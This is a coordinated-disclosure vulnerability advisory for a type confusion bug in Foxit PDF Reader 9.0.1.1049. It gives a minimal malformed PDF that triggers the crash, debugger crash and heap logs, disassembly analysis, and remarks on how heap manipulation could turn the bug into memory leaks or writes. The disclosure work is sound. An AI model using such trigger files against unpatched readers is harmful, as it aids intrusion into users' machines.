CVE-2018-3843
An exploitable type confusion vulnerability exists in the way Foxit PDF Reader version 9.0.1.1049 parses files with associated file annotations. A specially crafted PDF document can lead to an object of invalid type to be dereferenced, which can potentially lead to sensitive memory disclosure, and possibly to arbitrary code execution. An attacker needs to trick the user into opening the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.
Foxit PDF Reader 9.0.1.1049
https://www.foxitsoftware.com/products/pdf-reader/
6.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
CWE-843 - Access of Resource Using Incompatible Type
Foxit PDF Reader is one of the most popular PDF document readers and has a widespread user base. It aims to have feature parity with Adobe’s Acrobat Reader.
While initially parsing a specially crafted PDF file with a malformed associated file PDF object, the use of a memory object of an incompatible type can be triggered, which initially leads to out-of-bounds memory access. A shortened version of PDF file that triggers this bug is as follows:
1 0 obj
<<
/Pages 2 0 R
/Type /Catalog
/AF [ 3 0 R ]
>>
endobj
2 0 obj
<<
/Count 1
/Type /Pages
>>
endobj
3 0 obj /F
<<
>>
endobj
In the above PDF, the AF
dictionary in Catalog
refers to object 3 0
which is expected to be of type FileSpec
. A stray /F
string makes the object malformed leading to the following crash while parsing:
(570.17c4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=8b53c2fd ebx=13462fe8 ecx=033b772c edx=00000000 esi=13462ffc edi=0000000e
eip=01ffc94e esp=0018aa9c ebp=0018aaa0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246
FoxitReader!CertFreeCertificateChain+0xab056e:
01ffc94e f77608 div eax,dword ptr [esi+8] ds:0023:13463004=????????
0:000> k
# ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0018aaa0 01ffc991 FoxitReader!CertFreeCertificateChain+0xab056e
01 0018aab0 01e035e1 FoxitReader!CertFreeCertificateChain+0xab05b1
02 0018aac0 01ded5c7 FoxitReader!CertFreeCertificateChain+0x8b7201
03 0018ab04 56756fa9 FoxitReader!CertFreeCertificateChain+0x8a11e7
04 0018b358 00f1e470 PlgDynLoader!PlugInMain+0x5ef9
05 0018b370 010696b8 FoxitReader+0xce470
06 0018d750 01038083 FoxitReader+0x2196b8
07 0018fb24 01043697 FoxitReader+0x1e8083
08 0018fb50 0102b074 FoxitReader+0x1f3697
09 0018fbac 0102fa5c FoxitReader+0x1db074
0a 0019f7e8 02a4e5af FoxitReader+0x1dfa5c
0b 0019f7fc 028e89ca FoxitReader!CertFreeCertificateChain+0x15021cf
0c 0019f88c 75dcef8c FoxitReader!CertFreeCertificateChain+0x139c5ea
0d 0019f898 7721367a kernel32!BaseThreadInitThunk+0xe
0e 0019f8d8 7721364d ntdll!__RtlUserThreadStart+0x70
0f 0019f8f0 00000000 ntdll!_RtlUserThreadStart+0x1b
The process crashes due to an out-of-bounds access of esi+8
. Examining the memory pointed to by esi
reveals the following:
0:000> !heap -p -a esi
address 13462ffc found in
_DPH_HEAP_ROOT @ 73c1000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
133c098c: 13462fe8 18 - 13462000 2000
63398e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77276206 ntdll!RtlDebugAllocateHeap+0x00000030
7723a127 ntdll!RtlpAllocateHeap+0x000000c4
77205950 ntdll!RtlAllocateHeap+0x0000023a
028eee12 FoxitReader!CertFreeCertificateChain+0x013a2a32
01ff3ca5 FoxitReader!CertFreeCertificateChain+0x00aa78c5
01ff3ad1 FoxitReader!CertFreeCertificateChain+0x00aa76f1
01ff3f11 FoxitReader!CertFreeCertificateChain+0x00aa7b31
0169e2fc FoxitReader!CertFreeCertificateChain+0x00151f1c
01df7fac FoxitReader!CertFreeCertificateChain+0x008abbcc
01df9e14 FoxitReader!CertFreeCertificateChain+0x008ada34
01dfd288 FoxitReader!CertFreeCertificateChain+0x008b0ea8
01e04fe3 FoxitReader!CertFreeCertificateChain+0x008b8c03
01e05299 FoxitReader!CertFreeCertificateChain+0x008b8eb9
01e054bb FoxitReader!CertFreeCertificateChain+0x008b90db
01e057f8 FoxitReader!CertFreeCertificateChain+0x008b9418
01ded546 FoxitReader!CertFreeCertificateChain+0x008a1166
01ded5a8 FoxitReader!CertFreeCertificateChain+0x008a11c8
56756fa9 PlgDynLoader!PlugInMain+0x00005ef9
00f1e470 FoxitReader+0x000ce470
010696b8 FoxitReader+0x002196b8
01038083 FoxitReader+0x001e8083
01043697 FoxitReader+0x001f3697
0102b074 FoxitReader+0x001db074
0102fa5c FoxitReader+0x001dfa5c
02a4e5af FoxitReader!CertFreeCertificateChain+0x015021cf
028e89ca FoxitReader!CertFreeCertificateChain+0x0139c5ea
75dcef8c kernel32!BaseThreadInitThunk+0x0000000e
7721367a ntdll!__RtlUserThreadStart+0x00000070
7721364d ntdll!_RtlUserThreadStart+0x0000001b
We can see that an access violation happens because esi+8
points four bytes after the end of a buffer of size 0x18. If we examine the function where the crash occurs, we can see the following:
.text:015AC93E sub_15AC93E proc near
.text:015AC93E
.text:015AC93E arg_0= dword ptr 8
.text:015AC93E arg_4= dword ptr 0Ch
.text:015AC93E
.text:015AC93E push ebp
.text:015AC93F mov ebp, esp
.text:015AC941 push esi
.text:015AC942 push [ebp+arg_0]
.text:015AC945 mov esi, ecx [1]
.text:015AC947 call sub_15AC0F8
.text:015AC94C xor edx, edx
.text:015AC94E div dword ptr [esi+8] [2]
.text:015AC951 mov eax, [ebp+arg_4]
.text:015AC954 mov [eax], edx
.text:015AC956 mov esi, [esi+4]
Since this function is of type thiscall
, at [1] we see a pointer to this
being saved into esi
. So, at the time of the crash at [2], esi
is used as this
. Since the allocated object is smaller, the out-of-bounds access leads to a crash if PageHeap is enabled. Without PageHeap, and if the adjacent memory is carefully manipulated, the invalid read will succeed, leading to further memory corruption. With careful memory layout manipulation and object placement, it could be possible to abuse this to leak arbitrary memory content or write to arbitrary memory.
2018-02-12 - Vendor Disclosure
2018-04-01 - Vendor pushed release to mid April
2018-04-19 - Vendor patch released
2018-04-19 - Public disclosure
Discovered by Aleksandar Nikolic of Cisco Talos.